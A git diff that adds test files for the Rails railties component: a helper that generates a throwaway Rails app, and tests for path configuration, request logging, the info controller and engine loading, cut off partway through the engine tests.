diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb
new file mode 100644
index 0000000..68d96ba
--- /dev/null
+++ b/railties/test/isolation/abstract_unit.rb
@@ -0,0 +1,287 @@
+# Note:
+# It is important to keep this file as light as possible
+# the goal for tests that require this is to test booting up
+# rails from an empty state, so anything added here could
+# hide potential failures
+#
+# It is also good to know what is the bare minimum to get
+# Rails booted up.
+require 'fileutils'
+
+require 'bundler/setup' unless defined?(Bundler)
+require 'active_support/testing/autorun'
+require 'active_support/test_case'
+
+RAILS_FRAMEWORK_ROOT = File.expand_path("#{File.dirname(__FILE__)}/../../..")
+
+# These files do not require any others and are needed
+# to run the tests
+require "active_support/testing/isolation"
+require "active_support/core_ext/kernel/reporting"
+require 'tmpdir'
+
+module TestHelpers
+ module Paths
+ def app_template_path
+ File.join Dir.tmpdir, 'app_template'
+ end
+
+ def tmp_path(*args)
+ @tmp_path ||= File.realpath(Dir.mktmpdir)
+ File.join(@tmp_path, *args)
+ end
+
+ def app_path(*args)
+ tmp_path(*%w[app] + args)
+ end
+
+ def framework_path
+ RAILS_FRAMEWORK_ROOT
+ end
+
+ def rails_root
+ app_path
+ end
+ end
+
+ module Rack
+ def app(env = "production")
+ old_env = ENV["RAILS_ENV"]
+ @app ||= begin
+ ENV["RAILS_ENV"] = env
+ require "#{app_path}/config/environment"
+ Rails.application
+ end
+ ensure
+ ENV["RAILS_ENV"] = old_env
+ end
+
+ def extract_body(response)
+ "".tap do |body|
+ response[2].each {|chunk| body << chunk }
+ end
+ end
+
+ def get(path)
+ @app.call(::Rack::MockRequest.env_for(path))
+ end
+
+ def assert_welcome(resp)
+ assert_equal 200, resp[0]
+ assert resp[1]["Content-Type"] = "text/html"
+ assert extract_body(resp).match(/Welcome aboard/)
+ end
+
+ def assert_success(resp)
+ assert_equal 202, resp[0]
+ end
+
+ def assert_missing(resp)
+ assert_equal 404, resp[0]
+ end
+
+ def assert_header(key, value, resp)
+ assert_equal value, resp[1][key.to_s]
+ end
+
+ def assert_body(expected, resp)
+ assert_equal expected, extract_body(resp)
+ end
+ end
+
+ module Generation
+ # Build an application by invoking the generator and going through the whole stack.
+ def build_app(options = {})
+ @prev_rails_env = ENV['RAILS_ENV']
+ ENV['RAILS_ENV'] = 'development'
+
+ FileUtils.rm_rf(app_path)
+ FileUtils.cp_r(app_template_path, app_path)
+
+ # Delete the initializers unless requested
+ unless options[:initializers]
+ Dir["#{app_path}/config/initializers/*.rb"].each do |initializer|
+ File.delete(initializer)
+ end
+ end
+
+ gemfile_path = "#{app_path}/Gemfile"
+ if options[:gemfile].blank? && File.exist?(gemfile_path)
+ File.delete gemfile_path
+ end
+
+ routes = File.read("#{app_path}/config/routes.rb")
+ if routes =~ /(\n\s*end\s*)\Z/
+ File.open("#{app_path}/config/routes.rb", 'w') do |f|
+ f.puts $` + "\nmatch ':controller(/:action(/:id))(.:format)', via: :all\n" + $1
+ end
+ end
+
+ add_to_config <<-RUBY
+ config.eager_load = false
+ config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
+ config.session_store :cookie_store, key: "_myapp_session"
+ config.active_support.deprecation = :log
+ config.action_controller.allow_forgery_protection = false
+ RUBY
+ end
+
+ def teardown_app
+ ENV['RAILS_ENV'] = @prev_rails_env if @prev_rails_env
+ end
+
+ # Make a very basic app, without creating the whole directory structure.
+ # This is faster and simpler than the method above.
+ def make_basic_app
+ require "rails"
+ require "action_controller/railtie"
+
+ app = Class.new(Rails::Application)
+ app.config.eager_load = false
+ app.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
+ app.config.session_store :cookie_store, key: "_myapp_session"
+ app.config.active_support.deprecation = :log
+
+ yield app if block_given?
+ app.initialize!
+
+ app.routes.draw do
+ get "/" => "omg#index"
+ end
+
+ require 'rack/test'
+ extend ::Rack::Test::Methods
+ end
+
+ def simple_controller
+ controller :foo, <<-RUBY
+ class FooController < ApplicationController
+ def index
+ render text: "foo"
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get ':controller(/:action)'
+ end
+ RUBY
+ end
+
+ class Bukkit
+ attr_reader :path
+
+ def initialize(path)
+ @path = path
+ end
+
+ def write(file, string)
+ path = "#{@path}/#{file}"
+ FileUtils.mkdir_p(File.dirname(path))
+ File.open(path, "w") {|f| f.puts string }
+ end
+
+ def delete(file)
+ File.delete("#{@path}/#{file}")
+ end
+ end
+
+ def engine(name)
+ dir = "#{app_path}/random/#{name}"
+ FileUtils.mkdir_p(dir)
+
+ app = File.readlines("#{app_path}/config/application.rb")
+ app.insert(2, "$:.unshift(\"#{dir}/lib\")")
+ app.insert(3, "require #{name.inspect}")
+
+ File.open("#{app_path}/config/application.rb", 'r+') do |f|
+ f.puts app
+ end
+
+ Bukkit.new(dir).tap do |bukkit|
+ yield bukkit if block_given?
+ end
+ end
+
+ def script(script)
+ Dir.chdir(app_path) do
+ `#{Gem.ruby} #{app_path}/bin/rails #{script}`
+ end
+ end
+
+ def add_to_config(str)
+ environment = File.read("#{app_path}/config/application.rb")
+ if environment =~ /(\n\s*end\s*end\s*)\Z/
+ File.open("#{app_path}/config/application.rb", 'w') do |f|
+ f.puts $` + "\n#{str}\n" + $1
+ end
+ end
+ end
+
+ def add_to_env_config(env, str)
+ environment = File.read("#{app_path}/config/environments/#{env}.rb")
+ if environment =~ /(\n\s*end\s*)\Z/
+ File.open("#{app_path}/config/environments/#{env}.rb", 'w') do |f|
+ f.puts $` + "\n#{str}\n" + $1
+ end
+ end
+ end
+
+ def remove_from_config(str)
+ file = "#{app_path}/config/application.rb"
+ contents = File.read(file)
+ contents.sub!(/#{str}/, "")
+ File.open(file, "w+") { |f| f.puts contents }
+ end
+
+ def app_file(path, contents)
+ FileUtils.mkdir_p File.dirname("#{app_path}/#{path}")
+ File.open("#{app_path}/#{path}", 'w') do |f|
+ f.puts contents
+ end
+ end
+
+ def remove_file(path)
+ FileUtils.rm_rf "#{app_path}/#{path}"
+ end
+
+ def controller(name, contents)
+ app_file("app/controllers/#{name}_controller.rb", contents)
+ end
+
+ def use_frameworks(arr)
+ to_remove = [:actionmailer,
+ :activerecord] - arr
+ $:.reject! {|path| path =~ %r'/(#{to_remove.join('|')})/' }
+ end
+
+ def boot_rails
+ require File.expand_path('../../../../load_paths', __FILE__)
+ end
+ end
+end
+
+class ActiveSupport::TestCase
+ include TestHelpers::Paths
+ include TestHelpers::Rack
+ include TestHelpers::Generation
+end
+
+# Create a scope and build a fixture rails app
+Module.new do
+ extend TestHelpers::Paths
+
+ # Build a rails app
+ FileUtils.rm_rf(app_template_path)
+ FileUtils.mkdir(app_template_path)
+
+ environment = File.expand_path('../../../../load_paths', __FILE__)
+ require_environment = "-r #{environment}"
+
+ `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails new #{app_template_path} --skip-gemfile --no-rc`
+ File.open("#{app_template_path}/config/boot.rb", 'w') do |f|
+ f.puts "require '#{environment}'"
+ f.puts "require 'rails/all'"
+ end
+end unless defined?(RAILS_ISOLATED_ENGINE)
diff --git a/railties/test/paths_test.rb b/railties/test/paths_test.rb
new file mode 100644
index 0000000..12f18b9
--- /dev/null
+++ b/railties/test/paths_test.rb
@@ -0,0 +1,233 @@
+require 'abstract_unit'
+require 'rails/paths'
+
+class PathsTest < ActiveSupport::TestCase
+ def setup
+ File.stubs(:exists?).returns(true)
+ @root = Rails::Paths::Root.new("/foo/bar")
+ end
+
+ test "the paths object is initialized with the root path" do
+ root = Rails::Paths::Root.new("/fiz/baz")
+ assert_equal "/fiz/baz", root.path
+ end
+
+ test "the paths object can be initialized with nil" do
+ assert_nothing_raised do
+ Rails::Paths::Root.new(nil)
+ end
+ end
+
+ test "a paths object initialized with nil can be updated" do
+ root = Rails::Paths::Root.new(nil)
+ root.add "app"
+ root.path = "/root"
+ assert_equal ["app"], root["app"].to_ary
+ assert_equal ["/root/app"], root["app"].to_a
+ end
+
+ test "creating a root level path" do
+ @root.add "app"
+ assert_equal ["/foo/bar/app"], @root["app"].to_a
+ end
+
+ test "creating a root level path with options" do
+ @root.add "app", with: "/foo/bar"
+ assert_equal ["/foo/bar"], @root["app"].to_a
+ end
+
+ test "raises exception if root path never set" do
+ root = Rails::Paths::Root.new(nil)
+ root.add "app"
+ assert_raises RuntimeError do
+ root["app"].to_a
+ end
+ end
+
+ test "creating a child level path" do
+ @root.add "app"
+ @root.add "app/models"
+ assert_equal ["/foo/bar/app/models"], @root["app/models"].to_a
+ end
+
+ test "creating a child level path with option" do
+ @root.add "app"
+ @root.add "app/models", with: "/foo/bar/baz"
+ assert_equal ["/foo/bar/baz"], @root["app/models"].to_a
+ end
+
+ test "child level paths are relative from the root" do
+ @root.add "app"
+ @root.add "app/models", with: "baz"
+ assert_equal ["/foo/bar/baz"], @root["app/models"].to_a
+ end
+
+ test "adding multiple physical paths as an array" do
+ @root.add "app", with: ["/app", "/app2"]
+ assert_equal ["/app", "/app2"], @root["app"].to_a
+ end
+
+ test "adding multiple physical paths using #push" do
+ @root.add "app"
+ @root["app"].push "app2"
+ assert_equal ["/foo/bar/app", "/foo/bar/app2"], @root["app"].to_a
+ end
+
+ test "adding multiple physical paths using <<" do
+ @root.add "app"
+ @root["app"] << "app2"
+ assert_equal ["/foo/bar/app", "/foo/bar/app2"], @root["app"].to_a
+ end
+
+ test "adding multiple physical paths using concat" do
+ @root.add "app"
+ @root["app"].concat ["app2", "/app3"]
+ assert_equal ["/foo/bar/app", "/foo/bar/app2", "/app3"], @root["app"].to_a
+ end
+
+ test "adding multiple physical paths using #unshift" do
+ @root.add "app"
+ @root["app"].unshift "app2"
+ assert_equal ["/foo/bar/app2", "/foo/bar/app"], @root["app"].to_a
+ end
+
+ test "it is possible to add a path that should be autoloaded only once" do
+ @root.add "app", with: "/app"
+ @root["app"].autoload_once!
+ assert @root["app"].autoload_once?
+ assert @root.autoload_once.include?(@root["app"].expanded.first)
+ end
+
+ test "it is possible to remove a path that should be autoloaded only once" do
+ @root["app"] = "/app"
+ @root["app"].autoload_once!
+ assert @root["app"].autoload_once?
+
+ @root["app"].skip_autoload_once!
+ assert !@root["app"].autoload_once?
+ assert !@root.autoload_once.include?(@root["app"].expanded.first)
+ end
+
+ test "it is possible to add a path without assignment and specify it should be loaded only once" do
+ @root.add "app", with: "/app", autoload_once: true
+ assert @root["app"].autoload_once?
+ assert @root.autoload_once.include?("/app")
+ end
+
+ test "it is possible to add multiple paths without assignment and specify it should be loaded only once" do
+ @root.add "app", with: ["/app", "/app2"], autoload_once: true
+ assert @root["app"].autoload_once?
+ assert @root.autoload_once.include?("/app")
+ assert @root.autoload_once.include?("/app2")
+ end
+
+ test "making a path autoload_once more than once only includes it once in @root.load_once" do
+ @root["app"] = "/app"
+ @root["app"].autoload_once!
+ @root["app"].autoload_once!
+ assert_equal 1, @root.autoload_once.select {|p| p == @root["app"].expanded.first }.size
+ end
+
+ test "paths added to a load_once path should be added to the autoload_once collection" do
+ @root["app"] = "/app"
+ @root["app"].autoload_once!
+ @root["app"] << "/app2"
+ assert_equal 2, @root.autoload_once.size
+ end
+
+ test "it is possible to mark a path as eager loaded" do
+ @root["app"] = "/app"
+ @root["app"].eager_load!
+ assert @root["app"].eager_load?
+ assert @root.eager_load.include?(@root["app"].to_a.first)
+ end
+
+ test "it is possible to skip a path from eager loading" do
+ @root["app"] = "/app"
+ @root["app"].eager_load!
+ assert @root["app"].eager_load?
+
+ @root["app"].skip_eager_load!
+ assert !@root["app"].eager_load?
+ assert !@root.eager_load.include?(@root["app"].to_a.first)
+ end
+
+ test "it is possible to add a path without assignment and mark it as eager" do
+ @root.add "app", with: "/app", eager_load: true
+ assert @root["app"].eager_load?
+ assert @root.eager_load.include?("/app")
+ end
+
+ test "it is possible to add multiple paths without assignment and mark them as eager" do
+ @root.add "app", with: ["/app", "/app2"], eager_load: true
+ assert @root["app"].eager_load?
+ assert @root.eager_load.include?("/app")
+ assert @root.eager_load.include?("/app2")
+ end
+
+ test "it is possible to create a path without assignment and mark it both as eager and load once" do
+ @root.add "app", with: "/app", eager_load: true, autoload_once: true
+ assert @root["app"].eager_load?
+ assert @root["app"].autoload_once?
+ assert @root.eager_load.include?("/app")
+ assert @root.autoload_once.include?("/app")
+ end
+
+ test "making a path eager more than once only includes it once in @root.eager_paths" do
+ @root["app"] = "/app"
+ @root["app"].eager_load!
+ @root["app"].eager_load!
+ assert_equal 1, @root.eager_load.select {|p| p == @root["app"].expanded.first }.size
+ end
+
+ test "paths added to a eager_load path should be added to the eager_load collection" do
+ @root["app"] = "/app"
+ @root["app"].eager_load!
+ @root["app"] << "/app2"
+ assert_equal 2, @root.eager_load.size
+ end
+
+ test "it should be possible to add a path's default glob" do
+ @root["app"] = "/app"
+ @root["app"].glob = "*.rb"
+ assert_equal "*.rb", @root["app"].glob
+ end
+
+ test "it should be possible to override a path's default glob without assignment" do
+ @root.add "app", with: "/app", glob: "*.rb"
+ assert_equal "*.rb", @root["app"].glob
+ end
+
+ test "it should be possible to replace a path and persist the original paths glob" do
+ @root.add "app", glob: "*.rb"
+ @root["app"] = "app2"
+ assert_equal ["/foo/bar/app2"], @root["app"].to_a
+ assert_equal "*.rb", @root["app"].glob
+ end
+
+ test "a path can be added to the load path" do
+ @root["app"] = "app"
+ @root["app"].load_path!
+ @root["app/models"] = "app/models"
+ assert_equal ["/foo/bar/app"], @root.load_paths
+ end
+
+ test "a path can be added to the load path on creation" do
+ @root.add "app", with: "/app", load_path: true
+ assert @root["app"].load_path?
+ assert_equal ["/app"], @root.load_paths
+ end
+
+ test "a path can be marked as autoload path" do
+ @root["app"] = "app"
+ @root["app"].autoload!
+ @root["app/models"] = "app/models"
+ assert_equal ["/foo/bar/app"], @root.autoload_paths
+ end
+
+ test "a path can be marked as autoload on creation" do
+ @root.add "app", with: "/app", autoload: true
+ assert @root["app"].autoload?
+ assert_equal ["/app"], @root.autoload_paths
+ end
+end
diff --git a/railties/test/rack_logger_test.rb b/railties/test/rack_logger_test.rb
new file mode 100644
index 0000000..3a9392f
--- /dev/null
+++ b/railties/test/rack_logger_test.rb
@@ -0,0 +1,71 @@
+require 'active_support/testing/autorun'
+require 'active_support/test_case'
+require 'rails/rack/logger'
+require 'logger'
+
+module Rails
+ module Rack
+ class LoggerTest < ActiveSupport::TestCase
+ class TestLogger < Rails::Rack::Logger
+ NULL = ::Logger.new File::NULL
+
+ attr_reader :logger
+
+ def initialize(logger = NULL, taggers = nil, &block)
+ super(->(_) { block.call; [200, {}, []] }, taggers)
+ @logger = logger
+ end
+
+ def development?; false; end
+ end
+
+ class Subscriber < Struct.new(:starts, :finishes)
+ def initialize(starts = [], finishes = [])
+ super
+ end
+
+ def start(name, id, payload)
+ starts << [name, id, payload]
+ end
+
+ def finish(name, id, payload)
+ finishes << [name, id, payload]
+ end
+ end
+
+ attr_reader :subscriber, :notifier
+
+ def setup
+ @subscriber = Subscriber.new
+ @notifier = ActiveSupport::Notifications.notifier
+ notifier.subscribe 'action_dispatch.request', subscriber
+ end
+
+ def teardown
+ notifier.unsubscribe subscriber
+ end
+
+ def test_notification
+ logger = TestLogger.new { }
+
+ assert_difference('subscriber.starts.length') do
+ assert_difference('subscriber.finishes.length') do
+ logger.call('REQUEST_METHOD' => 'GET').last.close
+ end
+ end
+ end
+
+ def test_notification_on_raise
+ logger = TestLogger.new { raise }
+
+ assert_difference('subscriber.starts.length') do
+ assert_difference('subscriber.finishes.length') do
+ assert_raises(RuntimeError) do
+ logger.call 'REQUEST_METHOD' => 'GET'
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/railties/test/rails_info_controller_test.rb b/railties/test/rails_info_controller_test.rb
new file mode 100644
index 0000000..a9b237d
--- /dev/null
+++ b/railties/test/rails_info_controller_test.rb
@@ -0,0 +1,56 @@
+require 'abstract_unit'
+
+module ActionController
+ class Base
+ include ActionController::Testing
+ end
+end
+
+class InfoControllerTest < ActionController::TestCase
+ tests Rails::InfoController
+
+ def setup
+ Rails.application.routes.draw do
+ get '/rails/info/properties' => "rails/info#properties"
+ get '/rails/info/routes' => "rails/info#routes"
+ end
+ @controller.stubs(:local_request? => true)
+ @routes = Rails.application.routes
+
+ Rails::InfoController.send(:include, @routes.url_helpers)
+ end
+
+ test "info controller does not allow remote requests" do
+ @controller.stubs(local_request?: false)
+ get :properties
+ assert_response :forbidden
+ end
+
+ test "info controller renders an error message when request was forbidden" do
+ @controller.stubs(local_request?: false)
+ get :properties
+ assert_select 'p'
+ end
+
+ test "info controller allows requests when all requests are considered local" do
+ @controller.stubs(local_request?: true)
+ get :properties
+ assert_response :success
+ end
+
+ test "info controller allows local requests" do
+ get :properties
+ assert_response :success
+ end
+
+ test "info controller renders a table with properties" do
+ get :properties
+ assert_select 'table'
+ end
+
+ test "info controller renders with routes" do
+ get :routes
+ assert_response :success
+ end
+
+end
diff --git a/railties/test/rails_info_test.rb b/railties/test/rails_info_test.rb
new file mode 100644
index 0000000..5b9088c
--- /dev/null
+++ b/railties/test/rails_info_test.rb
@@ -0,0 +1,87 @@
+require 'abstract_unit'
+
+unless defined?(Rails) && defined?(Rails::Info)
+ module Rails
+ class Info; end
+ end
+end
+
+require "active_support/core_ext/kernel/reporting"
+
+class InfoTest < ActiveSupport::TestCase
+ def setup
+ Rails.send :remove_const, :Info
+ silence_warnings { load 'rails/info.rb' }
+ end
+
+ def test_property_with_block_swallows_exceptions_and_ignores_property
+ assert_nothing_raised do
+ Rails::Info.module_eval do
+ property('Bogus') {raise}
+ end
+ end
+ assert !property_defined?('Bogus')
+ end
+
+ def test_property_with_string
+ Rails::Info.module_eval do
+ property 'Hello', 'World'
+ end
+ assert_property 'Hello', 'World'
+ end
+
+ def test_property_with_block
+ Rails::Info.module_eval do
+ property('Goodbye') {'World'}
+ end
+ assert_property 'Goodbye', 'World'
+ end
+
+ def test_framework_version
+ assert_property 'Active Support version', ActiveSupport.version.to_s
+ end
+
+ def test_frameworks_exist
+ Rails::Info.frameworks.each do |framework|
+ dir = File.dirname(__FILE__) + "/../../" + framework.delete('_')
+ assert File.directory?(dir), "#{framework.classify} does not exist"
+ end
+ end
+
+ def test_html_includes_middleware
+ Rails::Info.module_eval do
+ property 'Middleware', ['Rack::Lock', 'Rack::Static']
+ end
+
+ html = Rails::Info.to_html
+ assert html.include?('<tr><td class="name">Middleware</td>')
+ properties.value_for('Middleware').each do |value|
+ assert html.include?("<li>#{CGI.escapeHTML(value)}</li>")
+ end
+ end
+
+ protected
+ def svn_info=(info)
+ Rails::Info.module_eval do
+ class << self
+ def svn_info
+ info
+ end
+ end
+ end
+ end
+
+ def properties
+ Rails::Info.properties
+ end
+
+ def property_defined?(property_name)
+ properties.names.include? property_name
+ end
+
+ def assert_property(property_name, value)
+ raise "Property #{property_name.inspect} not defined" unless
+ property_defined? property_name
+ assert_equal value, properties.value_for(property_name)
+ end
+end
diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb
new file mode 100644
index 0000000..01fa2c6
--- /dev/null
+++ b/railties/test/railties/engine_test.rb
@@ -0,0 +1,1255 @@
+require "isolation/abstract_unit"
+require "stringio"
+require "rack/test"
+
+module RailtiesTest
+ class EngineTest < ActiveSupport::TestCase
+
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+
+ @plugin = engine "bukkits" do |plugin|
+ plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ railtie_name "bukkits"
+ end
+ end
+ RUBY
+ plugin.write "lib/another.rb", "class Another; end"
+ end
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def boot_rails
+ super
+ require "#{app_path}/config/environment"
+ end
+
+ test "serving sprocket's assets" do
+ @plugin.write "app/assets/javascripts/engine.js.erb", "<%= :alert %>();"
+
+ boot_rails
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ get "/assets/engine.js"
+ assert_match "alert()", last_response.body
+ end
+
+ test "rake environment can be called in the engine" do
+ boot_rails
+
+ @plugin.write "Rakefile", <<-RUBY
+ APP_RAKEFILE = '#{app_path}/Rakefile'
+ load 'rails/tasks/engine.rake'
+ task :foo => :environment do
+ puts "Task ran"
+ end
+ RUBY
+
+ Dir.chdir(@plugin.path) do
+ output = `bundle exec rake foo`
+ assert_match "Task ran", output
+ end
+ end
+
+ test "copying migrations" do
+ @plugin.write "db/migrate/1_create_users.rb", <<-RUBY
+ class CreateUsers < ActiveRecord::Migration
+ end
+ RUBY
+
+ @plugin.write "db/migrate/2_add_last_name_to_users.rb", <<-RUBY
+ class AddLastNameToUsers < ActiveRecord::Migration
+ end
+ RUBY
+
+ @plugin.write "db/migrate/3_create_sessions.rb", <<-RUBY
+ class CreateSessions < ActiveRecord::Migration
+ end
+ RUBY
+
+ app_file "db/migrate/1_create_sessions.rb", <<-RUBY
+ class CreateSessions < ActiveRecord::Migration
+ def up
+ end
+ end
+ RUBY
+
+ add_to_config "ActiveRecord::Base.timestamped_migrations = false"
+
+ boot_rails
+
+ Dir.chdir(app_path) do
+ output = `bundle exec rake bukkits:install:migrations`
+
+ assert File.exists?("#{app_path}/db/migrate/2_create_users.bukkits.rb")
+ assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.bukkits.rb")
+ assert_match(/Copied migration 2_create_users.bukkits.rb from bukkits/, output)
+ assert_match(/Copied migration 3_add_last_name_to_users.bukkits.rb from bukkits/, output)
+ assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output)
+ assert_equal 3, Dir["#{app_path}/db/migrate/*.rb"].length
+
+ output = `bundle exec rake railties:install:migrations`.split("\n")
+
+ assert_no_match(/2_create_users/, output.join("\n"))
+
+ bukkits_migration_order = output.index(output.detect{|o| /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/ =~ o })
+ assert_not_nil bukkits_migration_order, "Expected migration to be skipped"
+
+ migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length
+ `bundle exec rake railties:install:migrations`
+
+ assert_equal migrations_count, Dir["#{app_path}/db/migrate/*.rb"].length
+ end
+ end
+
+ test "mountable engine should copy migrations within engine_path" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ isolate_namespace Bukkits
+ end
+ end
+ RUBY
+
+ @plugin.write "db/migrate/0_add_first_name_to_users.rb", <<-RUBY
+ class AddFirstNameToUsers < ActiveRecord::Migration
+ end
+ RUBY
+
+ @plugin.write "Rakefile", <<-RUBY
+ APP_RAKEFILE = '#{app_path}/Rakefile'
+ load 'rails/tasks/engine.rake'
+ RUBY
+
+ add_to_config "ActiveRecord::Base.timestamped_migrations = false"
+
+ boot_rails
+
+ Dir.chdir(@plugin.path) do
+ output = `bundle exec rake app:bukkits:install:migrations`
+ assert File.exists?("#{app_path}/db/migrate/0_add_first_name_to_users.bukkits.rb")
+ assert_match(/Copied migration 0_add_first_name_to_users.bukkits.rb from bukkits/, output)
+ assert_equal 1, Dir["#{app_path}/db/migrate/*.rb"].length
+ end
+ end
+
+ test "no rake task without migrations" do
+ boot_rails
+ require 'rake'
+ require 'rdoc/task'
+ require 'rake/testtask'
+ Rails.application.load_tasks
+ assert !Rake::Task.task_defined?('bukkits:install:migrations')
+ end
+
+ test "puts its lib directory on load path" do
+ boot_rails
+ require "another"
+ assert_equal "Another", Another.name
+ end
+
+ test "puts its models directory on autoload path" do
+ @plugin.write "app/models/my_bukkit.rb", "class MyBukkit ; end"
+ boot_rails
+ assert_nothing_raised { MyBukkit }
+ end
+
+ test "puts its controllers directory on autoload path" do
+ @plugin.write "app/controllers/bukkit_controller.rb", "class BukkitController ; end"
+ boot_rails
+ assert_nothing_raised { BukkitController }
+ end
+
+ test "adds its views to view paths" do
+ @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
+ class BukkitController < ActionController::Base
+ def index
+ end
+ end
+ RUBY
+
+ @plugin.write "app/views/bukkit/index.html.erb", "Hello bukkits"
+
+ boot_rails
+
+ require "action_controller"
+ require "rack/mock"
+ response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
+ assert_equal "Hello bukkits\n", response[2].body
+ end
+
+ test "adds its views to view paths with lower priority than app ones" do
+ @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
+ class BukkitController < ActionController::Base
+ def index
+ end
+ end
+ RUBY
+
+ @plugin.write "app/views/bukkit/index.html.erb", "Hello bukkits"
+ app_file "app/views/bukkit/index.html.erb", "Hi bukkits"
+
+ boot_rails
+
+ require "action_controller"
+ require "rack/mock"
+ response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
+ assert_equal "Hi bukkits\n", response[2].body
+ end
+
+ test "adds helpers to controller views" do
+ @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
+ class BukkitController < ActionController::Base
+ def index
+ end
+ end
+ RUBY
+
+ @plugin.write "app/helpers/bukkit_helper.rb", <<-RUBY
+ module BukkitHelper
+ def bukkits
+ "bukkits"
+ end
+ end
+ RUBY
+
+ @plugin.write "app/views/bukkit/index.html.erb", "Hello <%= bukkits %>"
+
+ boot_rails
+
+ require "rack/mock"
+ response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
+ assert_equal "Hello bukkits\n", response[2].body
+ end
+
+ test "autoload any path under app" do
+ @plugin.write "app/anything/foo.rb", <<-RUBY
+ module Foo; end
+ RUBY
+ boot_rails
+ assert Foo
+ end
+
+ test "routes are added to router" do
+ @plugin.write "config/routes.rb", <<-RUBY
+ class Sprokkit
+ def self.call(env)
+ [200, {'Content-Type' => 'text/html'}, ["I am a Sprokkit"]]
+ end
+ end
+
+ Rails.application.routes.draw do
+ get "/sprokkit", :to => Sprokkit
+ end
+ RUBY
+
+ boot_rails
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ get "/sprokkit"
+ assert_equal "I am a Sprokkit", last_response.body
+ end
+
+ test "routes in engines have lower priority than application ones" do
+ controller "foo", <<-RUBY
+ class FooController < ActionController::Base
+ def index
+ render :text => "foo"
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get 'foo', :to => 'foo#index'
+ end
+ RUBY
+
+ @plugin.write "app/controllers/bar_controller.rb", <<-RUBY
+ class BarController < ActionController::Base
+ def index
+ render :text => "bar"
+ end
+ end
+ RUBY
+
+ @plugin.write "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ get 'foo', to: 'bar#index'
+ get 'bar', to: 'bar#index'
+ end
+ RUBY
+
+ boot_rails
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ get '/foo'
+ assert_equal 'foo', last_response.body
+
+ get '/bar'
+ assert_equal 'bar', last_response.body
+ end
+
+ test "rake tasks lib tasks are loaded" do
+ $executed = false
+ @plugin.write "lib/tasks/foo.rake", <<-RUBY
+ task :foo do
+ $executed = true
+ end
+ RUBY
+
+ boot_rails
+ require 'rake'
+ require 'rdoc/task'
+ require 'rake/testtask'
+ Rails.application.load_tasks
+ Rake::Task[:foo].invoke
+ assert $executed
+ end
+
+ test "i18n files have lower priority than application ones" do
+ add_to_config <<-RUBY
+ config.i18n.load_path << "#{app_path}/app/locales/en.yml"
+ RUBY
+
+ app_file 'app/locales/en.yml', <<-YAML
+en:
+ bar: "1"
+YAML
+
+ app_file 'config/locales/en.yml', <<-YAML
+en:
+ foo: "2"
+ bar: "2"
+YAML
+
+ @plugin.write 'config/locales/en.yml', <<-YAML
+en:
+ foo: "3"
+YAML
+
+ boot_rails
+
+ expected_locales = %W(
+ #{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/locale/en.yml
+ #{RAILS_FRAMEWORK_ROOT}/activemodel/lib/active_model/locale/en.yml
+ #{RAILS_FRAMEWORK_ROOT}/activerecord/lib/active_record/locale/en.yml
+ #{RAILS_FRAMEWORK_ROOT}/actionpack/lib/action_view/locale/en.yml
+ #{@plugin.path}/config/locales/en.yml
+ #{app_path}/config/locales/en.yml
+ #{app_path}/app/locales/en.yml
+ ).map { |path| File.expand_path(path) }
+
+ actual_locales = I18n.load_path.map { |path|
+ File.expand_path(path)
+ } & expected_locales # remove locales external to Rails
+
+ assert_equal expected_locales, actual_locales
+
+ assert_equal "2", I18n.t(:foo)
+ assert_equal "1", I18n.t(:bar)
+ end
+
+ test "namespaced controllers with namespaced routes" do
+ @plugin.write "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ namespace :admin do
+ namespace :foo do
+ get "bar", to: "bar#index"
+ end
+ end
+ end
+ RUBY
+
+ @plugin.write "app/controllers/admin/foo/bar_controller.rb", <<-RUBY
+ class Admin::Foo::BarController < ApplicationController
+ def index
+ render text: "Rendered from namespace"
+ end
+ end
+ RUBY
+
+ boot_rails
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ get "/admin/foo/bar"
+ assert_equal 200, last_response.status
+ assert_equal "Rendered from namespace", last_response.body
+ end
+
+ test "initializers" do
+ $plugin_initializer = false
+ @plugin.write "config/initializers/foo.rb", <<-RUBY
+ $plugin_initializer = true
+ RUBY
+
+ boot_rails
+ assert $plugin_initializer
+ end
+
+ test "midleware referenced in configuration" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ class Bukkits
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ @app.call(env)
+ end
+ end
+ RUBY
+
+ add_to_config "config.middleware.use \"Bukkits\""
+ boot_rails
+ end
+
+ test "Rails::Engine itself does not respond to config" do
+ boot_rails
+ assert !Rails::Engine.respond_to?(:config)
+ end
+
+ test "initializers are executed after application configuration initializers" do
